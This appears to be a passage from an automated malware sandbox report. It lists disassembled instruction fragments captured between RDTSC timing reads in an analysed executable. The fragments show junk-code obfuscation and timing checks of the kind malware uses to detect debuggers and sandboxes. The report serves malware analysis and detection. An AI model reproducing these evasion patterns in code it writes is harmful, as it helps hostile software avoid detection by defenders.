Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE49CF second address: BE4A19 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 js 00007F5D5CF5ECF8h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push ebx 0x00000014 jo 00007F5D5CF5ECE6h 0x0000001a pop ebx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 popad 0x00000021 popad 0x00000022 mov eax, dword ptr [eax] 0x00000024 push eax 0x00000025 jno 00007F5D5CF5ECE8h 0x0000002b push edi 0x0000002c pop edi 0x0000002d pop eax 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push ecx 0x00000037 pop ecx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE4A19 second address: BE4A1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE4A1D second address: BE4A23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE501C second address: BE5026 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F5D5D24D0C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE5741 second address: BE574E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE574E second address: BE5753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE57F3 second address: BE580A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE580A second address: BE580E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE5A05 second address: BE5A0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE5ADD second address: BE5AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE5AE2 second address: BE5AEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F5D5CF5ECE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE5BC5 second address: BE5BDF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jo 00007F5D5D24D0C6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5D5D24D0CBh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE5BDF second address: BE5BE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE5BE4 second address: BE5BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE5C5D second address: BE5C63 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE61AA second address: BE61DA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov di, bx 0x0000000d push 00000000h 0x0000000f movsx esi, si 0x00000012 push 00000000h 0x00000014 pushad 0x00000015 mov dh, B9h 0x00000017 push ecx 0x00000018 and ecx, dword ptr [ebp+122D2B54h] 0x0000001e pop ecx 0x0000001f popad 0x00000020 pushad 0x00000021 sub dword ptr [ebp+1245E6F3h], esi 0x00000027 or ch, FFFFFFB9h 0x0000002a popad 0x0000002b xchg eax, ebx 0x0000002c pushad 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE61DA second address: BE61E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F5D5CF5ECE6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE61E7 second address: BE61EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE6CCE second address: BE6CD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE7D71 second address: BE7DE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F5D5D24D0C8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b call 00007F5D5D24D0C8h 0x00000030 pop edi 0x00000031 mov dword ptr [esp+04h], edi 0x00000035 add dword ptr [esp+04h], 00000015h 0x0000003d inc edi 0x0000003e push edi 0x0000003f ret 0x00000040 pop edi 0x00000041 ret 0x00000042 push edi 0x00000043 sub dword ptr [ebp+122D2F2Fh], esi 0x00000049 pop esi 0x0000004a xchg eax, ebx 0x0000004b push edi 0x0000004c jmp 00007F5D5D24D0D3h 0x00000051 pop edi 0x00000052 push eax 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 push edi 0x00000057 pop edi 0x00000058 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE7DE1 second address: BE7DE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE7DE5 second address: BE7DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE87B5 second address: BE87BB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE87BB second address: BE8824 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5D5D24D0D0h 0x00000008 jmp 00007F5D5D24D0CBh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 xor dword ptr [ebp+122D23E8h], ebx 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F5D5D24D0C8h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 add dword ptr [ebp+12461AD2h], esi 0x0000003b push 00000000h 0x0000003d mov dword ptr [ebp+1248B287h], ebx 0x00000043 xchg eax, ebx 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 jg 00007F5D5D24D0C6h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE8824 second address: BE8848 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F5D5CF5ECE8h 0x0000000f popad 0x00000010 push eax 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE8848 second address: BE884C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE9D26 second address: BE9D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE9A70 second address: BE9A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5D24D0D8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BE9A8C second address: BE9AAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c je 00007F5D5CF5ECEEh 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BEB484 second address: BEB4A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F5D5D24D0D3h 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BEB4A8 second address: BEB51D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F5D5CF5ECE8h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 push 00000000h 0x00000023 add dword ptr [ebp+12461A7Ah], edi 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebp 0x0000002e call 00007F5D5CF5ECE8h 0x00000033 pop ebp 0x00000034 mov dword ptr [esp+04h], ebp 0x00000038 add dword ptr [esp+04h], 00000017h 0x00000040 inc ebp 0x00000041 push ebp 0x00000042 ret 0x00000043 pop ebp 0x00000044 ret 0x00000045 call 00007F5D5CF5ECF6h 0x0000004a xor edi, 628B8DE1h 0x00000050 pop edi 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 je 00007F5D5CF5ECE6h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BEB51D second address: BEB523 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF2D8A second address: BF2D90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF2F54 second address: BF2F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF2F58 second address: BF2F5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF3F0C second address: BF3F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 jo 00007F5D5D24D0D0h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF4CE1 second address: BF4D44 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5D5CF5ECECh 0x00000008 jbe 00007F5D5CF5ECE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F5D5CF5ECE8h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d push esi 0x0000002e js 00007F5D5CF5ECECh 0x00000034 js 00007F5D5CF5ECE6h 0x0000003a pop edi 0x0000003b mov bl, 6Ch 0x0000003d push 00000000h 0x0000003f mov edi, dword ptr [ebp+122D307Eh] 0x00000045 push 00000000h 0x00000047 mov ebx, dword ptr [ebp+122D29A8h] 0x0000004d xchg eax, esi 0x0000004e push eax 0x0000004f push edx 0x00000050 push ebx 0x00000051 jc 00007F5D5CF5ECE6h 0x00000057 pop ebx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF2F5C second address: BF2F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF4D44 second address: BF4D6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F5D5CF5ECF0h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F5D5CF5ECF2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF2F62 second address: BF2F68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF2F68 second address: BF2F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF5D41 second address: BF5D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF5D45 second address: BF5D4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF5D4B second address: BF5D56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F5D5D24D0C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF5D56 second address: BF5DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+124881B6h] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F5D5CF5ECE8h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c mov ebx, 05F44EFDh 0x00000031 call 00007F5D5CF5ECEFh 0x00000036 or dword ptr [ebp+122D3876h], edx 0x0000003c pop ebx 0x0000003d push 00000000h 0x0000003f mov ebx, dword ptr [ebp+122D23DEh] 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 push esi 0x0000004a pop esi 0x0000004b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF7D25 second address: BF7D29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF7D29 second address: BF7D2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF7D2F second address: BF7D86 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5D5D24D0D8h 0x00000008 jmp 00007F5D5D24D0D2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 jmp 00007F5D5D24D0D9h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 cld 0x00000019 pop ebx 0x0000001a push 00000000h 0x0000001c sub dword ptr [ebp+122D2F34h], eax 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F5D5D24D0D1h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF7D86 second address: BF7D8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF7D8D second address: BF7D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF7D9C second address: BF7DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF8C81 second address: BF8CF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F5D5D24D0C8h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 movsx ebx, bx 0x00000028 push 00000000h 0x0000002a jmp 00007F5D5D24D0CDh 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F5D5D24D0C8h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 00000017h 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b xchg eax, esi 0x0000004c push eax 0x0000004d push edx 0x0000004e je 00007F5D5D24D0D2h 0x00000054 jmp 00007F5D5D24D0CCh 0x00000059 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BFBB59 second address: BFBB5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BFBB5D second address: BFBBDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007F5D5D24D0CDh 0x0000000d nop 0x0000000e mov bx, D612h 0x00000012 push 00000000h 0x00000014 mov edi, dword ptr [ebp+122D1D65h] 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F5D5D24D0C8h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 00000018h 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 jo 00007F5D5D24D0E0h 0x0000003c jng 00007F5D5D24D0DAh 0x00000042 call 00007F5D5D24D0D3h 0x00000047 pop ebx 0x00000048 mov bh, 36h 0x0000004a xchg eax, esi 0x0000004b jmp 00007F5D5D24D0CFh 0x00000050 push eax 0x00000051 push edx 0x00000052 js 00007F5D5D24D0CCh 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF9E1D second address: BF9E88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F5D5CF5ECE8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 or edi, dword ptr [ebp+122D1F00h] 0x00000029 sbb ebx, 05CA60DCh 0x0000002f push dword ptr fs:[00000000h] 0x00000036 add edi, dword ptr [ebp+122D2AA8h] 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 mov ebx, dword ptr [ebp+122D553Ah] 0x00000049 mov eax, dword ptr [ebp+122D03D1h] 0x0000004f mov dword ptr [ebp+122D3084h], edi 0x00000055 push FFFFFFFFh 0x00000057 mov edi, dword ptr [ebp+122D1F8Ch] 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 push edi 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BF9E88 second address: BF9E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BFCAEE second address: BFCAF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BFCAF4 second address: BFCAF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BFAD8D second address: BFAD93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BFAD93 second address: BFADD3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov bx, ax 0x0000000e push dword ptr fs:[00000000h] 0x00000015 mov bx, 4221h 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 mov edi, 2923BF97h 0x00000025 movsx ebx, cx 0x00000028 mov eax, dword ptr [ebp+122D01D1h] 0x0000002e or bl, FFFFFF8Ch 0x00000031 push FFFFFFFFh 0x00000033 mov bh, 67h 0x00000035 nop 0x00000036 push eax 0x00000037 push edx 0x00000038 jp 00007F5D5D24D0C8h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BFADD3 second address: BFADD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BFADD9 second address: BFADE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BFADE8 second address: BFADEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BFADEC second address: BFADF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BFDAC7 second address: BFDACB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BFECCC second address: BFECD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BFECD0 second address: BFED4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ebx, dword ptr [ebp+122D1F59h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 xor ebx, 2885CBEAh 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 mov dword ptr [ebp+122D3141h], eax 0x0000002a adc bx, AF85h 0x0000002f mov eax, dword ptr [ebp+122D03E1h] 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 call 00007F5D5CF5ECE8h 0x0000003d pop ebx 0x0000003e mov dword ptr [esp+04h], ebx 0x00000042 add dword ptr [esp+04h], 00000017h 0x0000004a inc ebx 0x0000004b push ebx 0x0000004c ret 0x0000004d pop ebx 0x0000004e ret 0x0000004f mov dword ptr [ebp+122D2258h], edi 0x00000055 push FFFFFFFFh 0x00000057 jmp 00007F5D5CF5ECF9h 0x0000005c nop 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 push ebx 0x00000061 pop ebx 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BFED4D second address: BFED52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
